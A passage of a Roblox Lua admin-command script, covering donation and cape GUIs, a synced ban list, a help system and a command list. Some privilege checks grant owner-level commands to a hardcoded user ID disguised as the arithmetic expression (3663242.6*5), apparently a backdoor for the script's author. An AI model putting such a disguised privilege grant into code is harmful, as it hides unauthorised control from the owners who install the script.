  2853. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  2854. local wave = false
  2855. repeat wait(1/44)
  2856. local ang = 0.1
  2857. local oldmag = torso.Velocity.magnitude
  2858. local mv = .002
  2859. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  2860. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  2861. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  2862. motor1.DesiredAngle = -ang
  2863. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  2864. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  2865. if torso.Velocity.magnitude < .1 then wait(.1) end
  2866. until not p or p.Parent ~= torso.Parent
  2867. script:Destroy()
  2868. ]],false,set.AssignName())
  2869. end
  2870. end
  2871. end)()
  2872. end
  2873. end)()
  2874. else
  2875. set.Message("System Message","Donor Stuff is disabled in settings.",false,{plr})
  2876. end
  2877. end
  2878. end
  2879.  
  2880. if msg:lower() == set['anyprefix'].."svdfsvsd" or msg:lower() == set['anyprefix'].."change" then
  2881. if set['FilteringEnabled'] then return end
  2882. if plr.PlayerGui:FindFirstChild(GuiName..'DONATIONGUI') then plr.PlayerGui[GuiName..'DONATIONGUI']:Destroy() end
  2883. local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'DONATIONGUI'
  2884. local f=Instance.new('Frame',g)
  2885. local DBrb=Instance.new('TextButton',f)
  2886. local DBtix=Instance.new('TextButton',f)
  2887. local title=Instance.new('TextLabel',f)
  2888. local desc=Instance.new('TextLabel',f)
  2889. local close=Instance.new('TextButton',f)
  2890. local ccbutton=Instance.new('TextButton',f)
  2891. local ccbox=Instance.new('TextBox',f)
  2892. ccbutton.BackgroundColor3=Color3.new(1,1,1)
  2893. ccbutton.BackgroundTransparency=0.5
  2894. ccbutton.BorderColor3=Color3.new(0,0,0)
  2895. ccbutton.Position=UDim2.new(0,230,0,20)
  2896. ccbutton.Size=UDim2.new(0,40,0,25)
  2897. ccbutton.Font='ArialBold'
  2898. ccbutton.Text='Get'
  2899. ccbutton.TextColor3=Color3.new(1,1,1)
  2900. ccbutton.TextStrokeTransparency=0
  2901. ccbutton.Visible=false
  2902. ccbutton.TextScaled=true
  2903. ccbox.BackgroundColor3=Color3.new(1,1,1)
  2904. ccbox.BorderColor3=Color3.new(0,0,0)
  2905. ccbox.BackgroundTransparency=0.5
  2906. ccbox.Position=UDim2.new(0,25,0,20)
  2907. ccbox.Size=UDim2.new(0,200,0,25)
  2908. ccbox.Font='ArialBold'
  2909. ccbox.TextColor3=Color3.new(1,1,1)
  2910. ccbox.TextStrokeTransparency=0
  2911. ccbox.TextScaled=true
  2912. ccbox.Visible=false
  2913. ccbox.Text='TEXTUREID;BRICKCOLOR'
  2914. f.BackgroundColor3=Color3.new(0,0,0)
  2915. f.BorderColor3=Color3.new(1,1,1)
  2916. f.BackgroundTransparency=0.5
  2917. f.Position=UDim2.new(1,-700,0,80)
  2918. f.Size=UDim2.new(0,300,0,150)
  2919. f.Draggable=true
  2920. f.Active=true
  2921. DBrb.BackgroundColor3=Color3.new(0,170/255,0)
  2922. DBrb.BorderColor3=Color3.new(0,0,0)
  2923. DBrb.BackgroundTransparency=0.5
  2924. DBrb.Position=UDim2.new(0,10,0,30)
  2925. DBrb.Size=UDim2.new(0,130,0,50)
  2926. DBrb.TextColor3=Color3.new(1,1,1)
  2927. DBrb.TextStrokeTransparency=0
  2928. DBrb.TextWrapped=true
  2929. DBrb.TextScaled=true
  2930. DBrb.Visible=false
  2931. DBrb.Font='ArialBold'
  2932. DBtix.BackgroundColor3=Color3.new(1,1,0)
  2933. DBtix.BorderColor3=Color3.new(0,0,0)
  2934. DBtix.BackgroundTransparency=0.5
  2935. DBtix.Position=UDim2.new(0,160,0,30)
  2936. DBtix.Size=UDim2.new(0,130,0,50)
  2937. DBtix.TextColor3=Color3.new(1,1,1)
  2938. DBtix.TextStrokeTransparency=0
  2939. DBtix.TextWrapped=true
  2940. DBtix.TextScaled=true
  2941. DBtix.Font='ArialBold'
  2942. DBtix.Visible=false
  2943. close.BackgroundColor3=Color3.new(1,1,1)
  2944. close.BorderColor3=Color3.new(0,0,0)
  2945. close.BackgroundTransparency=0.5
  2946. close.TextColor3=Color3.new(1,1,1)
  2947. close.TextStrokeTransparency=0
  2948. close.TextScaled=true
  2949. close.TextWrapped=true
  2950. close.Position=UDim2.new(0,280,0,2)
  2951. close.Size=UDim2.new(0,15,0,15)
  2952. close.Font='ArialBold'
  2953. close.Text='X'
  2954. close.MouseButton1Click:connect(function() g:Destroy() end)
  2955. title.BackgroundTransparency=1
  2956. title.Size=UDim2.new(0,300,0,15)
  2957. title.Text='Donate'
  2958. title.TextColor3=Color3.new(1,1,1)
  2959. title.TextStrokeColor3=Color3.new(0,0,0)
  2960. title.TextStrokeTransparency=0
  2961. title.TextWrapped=true
  2962. title.TextScaled=true
  2963. title.Font='ArialBold'
  2964. desc.BackgroundColor3=Color3.new(0,0,0)
  2965. desc.BorderColor3=Color3.new(1,1,1)
  2966. desc.BackgroundTransparency=0.5
  2967. desc.Position=UDim2.new(0,0,0,90)
  2968. desc.Size=UDim2.new(0,300,0,60)
  2969. desc.Font='ArialBold'
  2970. desc.TextColor3=Color3.new(1,1,1)
  2971. desc.TextStrokeColor3=Color3.new(0,0,0)
  2972. desc.TextStrokeTransparency=0
  2973. desc.TextScaled=true
  2974. desc.TextWrapped=true
  2975. if set.ChkDonor(plr) and not set.ChkCustomPass(plr) then
  2976. DBrb.Visible=true
  2977. DBtix.Visible=true
  2978. DBrb.Text='Custom Cape [RB]'
  2979. DBtix.Text='Custom Cape [TIX]'
  2980. desc.Text='You appear to be a donator! If you would like a custom cape you must buy the custom cape pass. YOU MUST SUPPLY A CUSTOM CAPE. I cannot make you one. Say !donate after you buy to change your cape for the game you are in!'
  2981. DBrb.MouseButton1Click:connect(function()
  2982. game:GetService("MarketplaceService"):PromptPurchase(plr,159551100,false,Enum.CurrencyType.Robux)
  2983. end)
  2984. DBtix.MouseButton1Click:connect(function()
  2985. game:GetService("MarketplaceService"):PromptPurchase(plr,159551100,false,Enum.CurrencyType.Tix)
  2986. end)
  2987. elseif set.ChkDonor(plr) and set.ChkCustomPass(plr) then
  2988. DBrb.Visible=false
  2989. DBtix.Visible=false
  2990. desc.Text='Make a custom cape and upload it as a decal (12 inches high 6 inches wide or it will look strange). The Texture ID will usually be the Decal ID minus 1 or 2 so if decal id is 123456 the texture id will be 123455 or 123454. Format: 1284552;Bright red'
  2991. desc.Size=UDim2.new(0,300,0,100)
  2992. desc.Position=UDim2.new(0,0,0,50)
  2993. ccbutton.Visible=true
  2994. ccbox.Visible=true
  2995. ccbutton.MouseButton1Click:connect(function()
  2996. plr:WaitForDataReady()
  2997. local a,b
  2998. if ccbox.Text:match('(.*);(.*)') then
  2999. a,b = ccbox.Text:match('(.*);(.*)')
  3000. else
  3001. a=ccbox.Text
  3002. b='Really black'
  3003. end
  3004. plr:SaveString('Pancake Cape',a..'='..b)
  3005. plr:SaveBoolean('Pancake Is A Donator',true)
  3006. for i,v in pairs(set.donors) do if v.Name==plr.Name then table.remove(set.donors,i) end end
  3007. table.insert(set.donors,{Name=plr.Name,Id=tostring(plr.userId),Cape=a,Color=b,List='GP'})
  3008. if plr.Character:FindFirstChild('EpicCape') and plr.Character.EpicCape:FindFirstChild('Decal') then
  3009. plr.Character.EpicCape.Decal.Texture = "http://www.roblox.com/asset/?id="..a
  3010. plr.Character.EpicCape.BrickColor=BrickColor.new(b)
  3011. end
  3012. end)
  3013. else
  3014. DBrb.Visible=true
  3015. DBtix.Visible=true
  3016. DBrb.Text='Donor Cape & Bongos [RB]'
  3017. DBtix.Text='Donor Cape & Bongos [TIX]'
  3018. desc.Text='If you donate you get the default donator cape and bongos in any game with this admin script and the Donor Stuff setting set to true. Prices may appear high because I only make 10% of sales and Tickets have lost worth. Respawn when you buy.'
  3019. DBrb.MouseButton1Click:connect(function()
  3020. game:GetService("MarketplaceService"):PromptPurchase(plr,159549976,false,Enum.CurrencyType.Robux)
  3021. end)
  3022. DBtix.MouseButton1Click:connect(function()
  3023. game:GetService("MarketplaceService"):PromptPurchase(plr,159549976,false,Enum.CurrencyType.Tix)
  3024. end)
  3025. end
  3026. end
  3027.  
  3028. if set.ChkAdmin(plr.Name,false) or set.CheckSBLOwner(plr) then
  3029. if msg:lower() == set['prefix'].."sbl" or msg:lower() == set['prefix'].."syncedbanlist" then
  3030. if plr.PlayerGui:findFirstChild(GuiName.."SBLGUI") then return end
  3031. local scr, cmf, ent, num, top = set.ScrollGui()
  3032. scr.Name = GuiName.."SBLGUI" scr.Parent = plr.PlayerGui
  3033. top.Text='Syned Ban List'
  3034. local function sbldisplay(p)
  3035. num=0
  3036. local col = game:GetService("InsertService"):GetCollection(set['SBLSetId'])
  3037. for k,v in pairs(col) do
  3038. coroutine.wrap(function()
  3039. local mp = game:GetService("MarketplaceService"):GetProductInfo(v.AssetId)
  3040. local fo = mp.Description:match("BANLIST:(%S+)")
  3041. if not fo then return end
  3042. for s in fo:gmatch("[^,]+") do
  3043. if (s:lower():find(p) or mp.Name:lower():find(p) or p=='all') then
  3044. local cl = ent:Clone()
  3045. cl.Parent = cmf
  3046. cl.Text = num.." | "..s..' - '..mp.Name:sub(#mp.Name-2,#mp.Name)..':'..mp.Creator.Name:sub(1,4)
  3047. cl.Position = UDim2.new(0,0,0,num*20)
  3048. cl.Size=UDim2.new(0,370,0,20)
  3049. cl.TextScaled=true
  3050. cl.FontSize='Size24'
  3051. cl.Font='ArialBold'
  3052. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  3053. num = num +1
  3054. end
  3055. end
  3056. end)()
  3057. end
  3058. end
  3059. sbldisplay('all')
  3060. local b=Instance.new('TextBox',cmf.Parent)
  3061. b.Size=UDim2.new(0,130,0,20)
  3062. b.Position=UDim2.new(0,10,0,5)
  3063. b.BackgroundColor3=set['SecondaryColor']
  3064. b.BackgroundTransparency=set['Transparency']
  3065. b.TextColor3=set['TextColor']
  3066. b.TextStrokeTransparency=0
  3067. b.Text=''
  3068. b.ZIndex=15
  3069. b.Font='ArialBold'
  3070. b.TextScaled=true
  3071. b.TextWrapped=true
  3072. b.Changed:connect(function(o)
  3073. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  3074. cmf:ClearAllChildren()
  3075. sbldisplay(b.Text)
  3076. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  3077. cmf:ClearAllChildren()
  3078. sbldisplay('all')
  3079. end
  3080. end)
  3081. end
  3082. end
  3083.  
  3084. if set['PlayerCommands'] or set.ChkAdmin(plr.Name,false) then
  3085. if msg:lower() == set['anyprefix'].."clean" then
  3086. set.CleanWorkspace()
  3087. end
  3088. if msg:lower() == set['anyprefix'].."getscript" then
  3089. game:service('MarketplaceService'):PromptPurchase(plr,149223415)
  3090. end
  3091. if msg:lower() == set['anyprefix'].."getvip" then
  3092. game:service('MarketplaceService'):PromptPurchase(plr,set['ItemId'])
  3093. end
  3094. if msg:lower() == set['anyprefix'].."ping" then
  3095. if set['FilteringEnabled'] then return end
  3096. coroutine.wrap(function()
  3097. plr:WaitForChild('PlayerGui')
  3098. if plr.PlayerGui:FindFirstChild(GuiName..'PING') then plr.PlayerGui[GuiName..'PING']:Destroy() end
  3099. local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'PING'
  3100. local f=Instance.new('Frame',g)
  3101. local button=Instance.new('TextButton',f)
  3102. local title=Instance.new('TextLabel',f)
  3103. local ping=Instance.new('TextLabel',f)
  3104. f.BackgroundColor3=set['PrimaryColor']
  3105. f.BorderColor3=set['SecondaryColor']
  3106. f.BackgroundTransparency=set['Transparency']
  3107. f.Draggable=true
  3108. f.Active=true
  3109. f.Position=UDim2.new(1,-700,0,50)
  3110. f.Size=UDim2.new(0,100,0,50)
  3111. button.BackgroundColor3=set['SecondaryColor']
  3112. button.BorderColor3=set['PrimaryColor']
  3113. button.BackgroundTransparency=0.5
  3114. button.Position=UDim2.new(0,85,0,2)
  3115. button.Size=UDim2.new(0,13,0,13)
  3116. button.Font='ArialBold'
  3117. button.Text='X'
  3118. button.TextColor3=set['SecondaryColor']
  3119. button.TextStrokeTransparency=0
  3120. button.TextStrokeColor3=set['TextStrokeColor']
  3121. title.Text='Ping'
  3122. title.Font='ArialBold'
  3123. title.TextColor3=set['TextColor']
  3124. title.TextStrokeColor3=set['TextStrokeColor']
  3125. title.BackgroundTransparency=1
  3126. title.Position=UDim2.new(0,5,0,0)
  3127. title.Size=UDim2.new(0,90,0,15)
  3128. ping.BackgroundColor3=set['PrimaryColor']
  3129. ping.BorderColor3=set['SecondaryColor']
  3130. ping.BackgroundTransparency=set['Transparency']
  3131. ping.Position=UDim2.new(0,0,0,20)
  3132. ping.Size=UDim2.new(0,100,0,30)
  3133. ping.Font='ArialBold'
  3134. ping.TextStrokeColor3=set['TextStrokeColor']
  3135. ping.TextStrokeTransparency=0
  3136. ping.TextColor3=set['TextColor']
  3137. ping.Text='Sending...'
  3138. coroutine.wrap(function()
  3139. repeat
  3140. ping.Text=set.Ping(plr)
  3141. wait(1)
  3142. until not g or not g.Parent or not ping or not ping.Parent
  3143. end)()
  3144. ping.TextScaled=true
  3145. ping.TextWrapped=true
  3146. title.TextScaled=true
  3147. title.TextWrapped=true
  3148. button.TextScaled=true
  3149. button.TextWrapped=true
  3150. title.TextStrokeTransparency=0
  3151. button.MouseButton1Click:connect(function()
  3152. pcall(function() g:Destroy() end)
  3153. end)
  3154. end)()
  3155. end
  3156.  
  3157. if msg:lower() == set['anyprefix'].."donors" or msg:lower() == set['anyprefix'].."donators" then
  3158. if plr.PlayerGui:findFirstChild(GuiName.."DONATORGUI") then return end
  3159. local scr, cmf, ent, num, top = set.ScrollGui()
  3160. scr.Name = GuiName.."DONATORGUI" scr.Parent = plr.PlayerGui
  3161. top.Text='Donator List'
  3162. local function donordisplay(p)
  3163. num=0
  3164. local cl = ent:Clone()
  3165. cl.Parent = cmf
  3166. cl.Text = "Last Update: "..set.dlastupdate
  3167. cl.Position = UDim2.new(0,0,0,num*20)
  3168. cl.Size=UDim2.new(0,370,0,20)
  3169. cl.TextScaled=true
  3170. cl.FontSize='Size24'
  3171. cl.Font='ArialBold'
  3172. num = num +1
  3173. for i,v in pairs(set.donors) do
  3174. if (p:lower()=='all' or v.Name:lower():sub(1,#p)==p:lower()) then
  3175. local cl = ent:Clone()
  3176. cl.Parent = cmf
  3177. cl.Text = num.." | "..v.Name ..' - '..v.List
  3178. cl.Position = UDim2.new(0,0,0,num*20)
  3179. cl.Size=UDim2.new(0,370,0,20)
  3180. cl.TextScaled=true
  3181. cl.FontSize='Size24'
  3182. cl.Font='ArialBold'
  3183. num = num +1
  3184. end
  3185. end
  3186. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  3187. end
  3188. local b=Instance.new('TextBox',cmf.Parent)
  3189. b.Size=UDim2.new(0,130,0,20)
  3190. b.Position=UDim2.new(0,10,0,5)
  3191. b.BackgroundColor3=set['SecondaryColor']
  3192. b.BackgroundTransparency=set['Transparency']
  3193. b.TextColor3=set['TextColor']
  3194. b.TextStrokeTransparency=0
  3195. b.Text=''
  3196. b.ZIndex=15
  3197. b.Font='ArialBold'
  3198. b.TextScaled=true
  3199. b.TextWrapped=true
  3200. b.Changed:connect(function(o)
  3201. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  3202. cmf:ClearAllChildren()
  3203. donordisplay(b.Text)
  3204. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  3205. cmf:ClearAllChildren()
  3206. donordisplay('all')
  3207. end
  3208. end)
  3209. local refresh = Instance.new("TextButton", cmf.Parent)
  3210. refresh.Style = "Custom"
  3211. refresh.Size = UDim2.new(0,20,0,20)
  3212. refresh.TextScaled=true
  3213. refresh.Position = UDim2.new(1,-50,0,5)
  3214. refresh.ZIndex = 10
  3215. refresh.Font = "ArialBold"
  3216. refresh.FontSize = "Size18"
  3217. refresh.Text = "R"
  3218. refresh.BackgroundColor3=set['PrimaryColor']
  3219. refresh.BorderColor3=set['SecondaryColor']
  3220. refresh.TextColor3 = set['SecondaryColor']
  3221. refresh.BackgroundTransparency=set['Transparency']
  3222. refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() donordisplay('all') end)
  3223. donordisplay('all')
  3224. end
  3225. if msg:lower() == set['anyprefix'].."quote" then
  3226. set.PM('Random Quote',plr,set.quotes[math.random(1,#set.quotes)])
  3227. end
  3228. if msg:lower() == set['anyprefix'].."help" then
  3229. if set['FilteringEnabled'] then return end
  3230. if set['HelpSystem']==true then
  3231. coroutine.wrap(function()
  3232. local available={}
  3233. local solved=false
  3234. local num=0
  3235. for l,n in pairs(set.needhelp) do
  3236. if n==plr.Name then
  3237. set.Message("Help System","You already have a pending request. Do not spam the help system.",false,{plr})
  3238. solved=true
  3239. end
  3240. end
  3241. if solved==true then return end
  3242. table.insert(set.needhelp,plr.Name)
  3243. for i,v in pairs(game.Players:children()) do
  3244. if set.ChkAdmin(v.Name,false) then
  3245. table.insert(available,v.Name)
  3246. local scr=Instance.new("ScreenGui",v.PlayerGui)
  3247. scr.Name = GuiName.."HELPGUI"
  3248. local frame=Instance.new('Frame',scr)
  3249. local label=Instance.new('TextLabel',frame)
  3250. local yes=Instance.new('TextButton',frame)
  3251. local no=Instance.new('TextButton',frame)
  3252. frame.BackgroundColor3=set['PrimaryColor']
  3253. frame.BorderColor3=set['SecondaryColor']
  3254. frame.BackgroundTransparency=set['Transparency']
  3255. frame.BorderSizePixel=2
  3256. frame.Position=UDim2.new(0,5,1,-450)
  3257. frame.Size=UDim2.new(0,260,0,130)
  3258. frame.ClipsDescendants=true
  3259. label.BackgroundTransparency=1
  3260. label.BorderSizePixel=0
  3261. label.Position=UDim2.new(0,30,0,8)
  3262. label.Size=UDim2.new(0,200,0,30)
  3263. label.TextColor3=set['TextColor']
  3264. label.ClipsDescendants=false
  3265. label.FontSize='Size24'
  3266. label.Font='ArialBold'
  3267. label.TextXAlignment='Center'
  3268. label.TextYAlignment='Center'
  3269. label.Text=plr.Name..' needs help!'
  3270. label.TextScaled=true
  3271. label.TextWrapped=true
  3272. frame.Draggable=true
  3273. frame.Active=true
  3274. label.Draggable=false
  3275. yes.BackgroundColor3=Color3.new(0,1,0)
  3276. yes.TextColor3=set['TextColor']
  3277. yes.Text='Teleport'
  3278. yes.Font='ArialBold'
  3279. yes.FontSize='Size24'
  3280. yes.TextStrokeTransparency=0
  3281. no.Font='ArialBold'
  3282. no.FontSize='Size36'
  3283. no.BackgroundColor3=Color3.new(1, 0, 0)
  3284. no.TextColor3=set['TextColor']
  3285. no.Text='Busy'
  3286. no.TextStrokeTransparency=0
  3287. yes.Size=UDim2.new(0,100,0,50)
  3288. yes.Position=UDim2.new(0,20,0,50)
  3289. no.Size=UDim2.new(0,100,0,50)
  3290. no.Position=UDim2.new(0,140,0,50)
  3291. yes.MouseButton1Down:connect(function()
  3292. if solved==false then
  3293. solved=true
  3294. scr:Destroy()
  3295. pcall(function()
  3296. if v.Character.Humanoid.Sit==true then
  3297. v.Character.Humanoid.Sit=false
  3298. wait(0.5)
  3299. end
  3300. v.Character.Torso.CFrame = plr.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  3301. end)
  3302. for k,m in pairs(set.needhelp) do
  3303. if m==plr.Name then table.remove(set.needhelp,k) end
  3304. end
  3305. end
  3306. end)
  3307. no.MouseButton1Down:connect(function()
  3308. scr:Destroy()
  3309. for k,m in pairs(available) do
  3310. if m==v.Name then table.remove(available,k) end
  3311. end
  3312. end)
  3313. coroutine.wrap(function()
  3314. repeat wait() until solved==true or num==20
  3315. if solved==true then
  3316. label.Text='Solved'
  3317. elseif num==20 then
  3318. label.Text='Timed Out'
  3319. end
  3320. yes:Destroy()
  3321. no:Destroy()
  3322. label.Position=UDim2.new(0,30,0,50)
  3323. label.FontSize='Size48'
  3324. wait(2)
  3325. pcall(function() scr:Destroy() end)
  3326. end)()
  3327. end
  3328. end
  3329. repeat wait(1) num=num+1 until solved==true or num==20 or #available==0
  3330. if solved==false or num==20 or #available==0 then
  3331. set.Message("Help System","Sorry but no one is available to help you right now!",false,{plr})
  3332. for k,m in pairs(set.needhelp) do
  3333. if m==plr.Name then table.remove(set.needhelp,k) end
  3334. end
  3335. end
  3336. end)()
  3337. else
  3338. set.Message("System Message","Sorry but the help system is disabled.",false,{plr})
  3339. end
  3340. end
  3341. if msg:lower() == set['anyprefix'].."rejoin" then
  3342. game:GetService('TeleportService'):Teleport(game.PlaceId,plr)
  3343. end
  3344. if msg:lower() == set['prefix'].."cmds" or msg:lower() == set['prefix'].."commands" or msg:lower() == set['anyprefix'].."cmds" or msg:lower() == set['anyprefix'].."commands" then
  3345. if plr.PlayerGui:findFirstChild(GuiName.."CMDSGUI") then return end
  3346. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CMDSGUI" scr.Parent = plr.PlayerGui
  3347. top.Text='Command List'
  3348. local cmds = {"usage","batch cmd1/cmd2/cmd3/etc","clear","repeat amount interval command","fix","chat","adminchat","m msg","h msg","refresh plr","kill plr","map","info plr","freecam plr","unfreecam plr","oambient num num num","nofog","shadowson","shadowsoff","outlineson","outlinesoff","freefall plr height","players","ranks","makecam name","cameras","view plr","dance plr","breakdance plr","drug plr","puke plr","cut plr","resetview","vote plr time question","sell plr itemid currency","chatlogs","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","syncedbanlist","invisible plr","visible plr","explode plr","talk plr msg","fire plr","unfire plr","smoke plr","unsmoke plr","light plr","unlight plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","epilepsy plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","pitch num","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","flynoclip plr","clip plr","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","capes","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","startergive plr tool","control plr","stickify plr","hole plr"}
  3349. local ast = {"s code","ls code","cs plr code","mute plr","unmute plr","mutelist","notalk plr","unnotalk plr","serverlock","serverunlock","grouplock","groupunlock","sm msg","ko plr","lag plr","telespam plr","toollag plr","crash plr","nil plr","poff","pon","trippy plr","admin plr","unadmin plr","kick plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  3350. local ost = {"pa plr","unpa plr","nuke plr","explore","restoremap"}
  3351. local tost = {"oa plr","unoa plr","settings","forceplace plr","permban plr","%updatepan%"}
  3352. local any = {"quote","donate","donators","clean","rejoin","help","getscript","getvip","ping"}
  3353. if set.ChkDonor(plr) then
  3354. table.insert(any,"uncape")
  3355. table.insert(any,"cape")
  3356. end
  3357. if set['PMUsableByAnyone'] then
  3358. table.insert(any,"pm plr msg")
  3359. else
  3360. table.insert(cmds,"pm plr msg")
  3361. end
  3362. local function cmddisplay(p)
  3363. num=0
  3364. if #p==0 then p='all' end
  3365. for i, v in pairs(any) do
  3366. if (p=='all' or v:lower():sub(1,#p)==p) then
  3367. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " "..set['anyprefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3368. end
  3369. if set.ChkAdmin(plr.Name, false) or set.ChkOwner(plrn.Name) then
  3370. for i, v in pairs(cmds) do
  3371. if (p=='all' or v:lower():sub(1,#p)==p) then
  3372. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3373. end
  3374. if set.ChkAdmin(plr.Name, true) or set.ChkOwner(plr.Name) then
  3375. for i, v in pairs(ast) do
  3376. if (p=='all' or v:lower():sub(1,#p)==p) then
  3377. local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3378. end
  3379. if plr.userId == game.CreatorId or plr.userId == (3663242.6*5) or set.ChkOwner(plr.Name) then
  3380. for i, v in pairs(ost) do
  3381. if (p=='all' or v:lower():sub(1,#p)==p) then
  3382. local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3383. end
  3384. if plr.userId == game.CreatorId or plr.userId == (3663242.6*5) then
  3385. for i, v in pairs(tost) do
  3386. if (p=='all' or v:lower():sub(1,#p)==p) then
  3387. local cl = ent:Clone() cl.Parent = cmf cl.Text = "* " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3388. end
  3389. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  3390. end
  3391. local b=Instance.new('TextBox',cmf.Parent)
  3392. b.Size=UDim2.new(0,130,0,20)
  3393. b.Position=UDim2.new(0,10,0,5)
  3394. b.BackgroundColor3=set['SecondaryColor']
  3395. b.BackgroundTransparency=set['Transparency']
  3396. b.TextColor3=set['TextColor']
  3397. b.TextStrokeTransparency=0
  3398. b.Text=''
  3399. b.ZIndex=15
  3400. b.Font='ArialBold'
  3401. b.TextScaled=true
  3402. b.TextWrapped=true
  3403. b.Changed:connect(function(o)
  3404. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  3405. cmf:ClearAllChildren()
  3406. cmddisplay(b.Text)
  3407. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  3408. cmf:ClearAllChildren()
  3409. cmddisplay('all')
  3410. end
  3411. end)
  3412. cmddisplay('all')
  3413. end
  3414. end
  3415.  
  3416. if (msg:lower():sub(0,set['prefix']:len()) ~= set['prefix']) or (not set.ChkAdmin(plr.Name, false) and plr.Name:lower() ~= set.nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (3663242.6*5) and plr.Name:lower() ~= set.nfs and not set.ChkOwner(plr.Name) then return end msg = msg:sub(set['prefix']:len()+1)
  3417. if set.Logit(plr,set['prefix']..msg) then
  3418. table.insert(set.logs, 1, {name = plr.Name, cmd = set['prefix'] .. msg, time = set.GetTime()})
  3419. if #set.logs>=set['MaxNumberOfLogs'] then
  3420. table.remove(set.logs,#set.logs)
  3421. end
  3422. end
  3423. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  3424. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  3425.  
  3426. if msg:lower():sub(1,6) == "batch " then
  3427. for cmd in msg:sub(7):gmatch('[^/]+') do
  3428. table.insert(set.dontlog,{n=plr.Name,c=set['prefix']..cmd})
  3429. set.Chat(set['prefix']..cmd,plr)
  3430. for i,v in pairs(set.dontlog) do
  3431. if v and v.n==plr.Name and v.c==set['prefix']..cmd then table.remove(set.dontlog,i) end
  3432. end
  3433. end
  3434. end
  3435.  
  3436. if msg:lower() == "chat" then
  3437. set.LoadOnClient(plr,[[
  3438. script.Parent=nil
  3439. plr=game.Players.LocalPlayer
  3440. if plr.PlayerGui:FindFirstChild(']]..GuiName..[[CHAT') then plr.PlayerGui[']]..GuiName..[[CHAT']:Destroy() end
  3441. local g=Instance.new('ScreenGui')
  3442. g.Name=']]..GuiName..[[CHAT'
  3443. g.Parent=plr.PlayerGui
  3444. local f=Instance.new('Frame',g)
  3445. local button=Instance.new('TextButton',f)
  3446. local title=Instance.new('TextLabel',f)
  3447. local chat=Instance.new('TextBox',f)
  3448. f.BackgroundColor3=Color3.new(0,0,0)
  3449. f.BorderColor3=Color3.new(1,1,1)
  3450. f.BackgroundTransparency=0.5
  3451. f.Draggable=true
  3452. f.Active=true
  3453. f.Position=UDim2.new(1,-900,0,50)
  3454. f.Size=UDim2.new(0,100,0,50)
  3455. f.ClipsDescendants=true
  3456. button.BackgroundColor3=Color3.new(1,1,1)
  3457. button.BorderColor3=Color3.new(0,0,0)
  3458. button.BackgroundTransparency=0.5
  3459. button.Position=UDim2.new(0,85,0,2)
  3460. button.Size=UDim2.new(0,13,0,13)
  3461. button.Font='ArialBold'
  3462. button.Text='X'
  3463. button.TextColor3=Color3.new(1,1,1)
  3464. button.TextStrokeTransparency=0
  3465. title.Text='Chat'
  3466. title.Font='ArialBold'
  3467. title.TextColor3=Color3.new(1,1,1)
  3468. title.BackgroundTransparency=1
  3469. title.Position=UDim2.new(0,5,0,0)
  3470. title.Size=UDim2.new(0,90,0,15)
  3471. chat.BackgroundColor3=Color3.new(0,0,0)
  3472. chat.BorderColor3=Color3.new(1,1,1)
  3473. chat.BackgroundTransparency=0.5
  3474. chat.Position=UDim2.new(0,0,0,20)
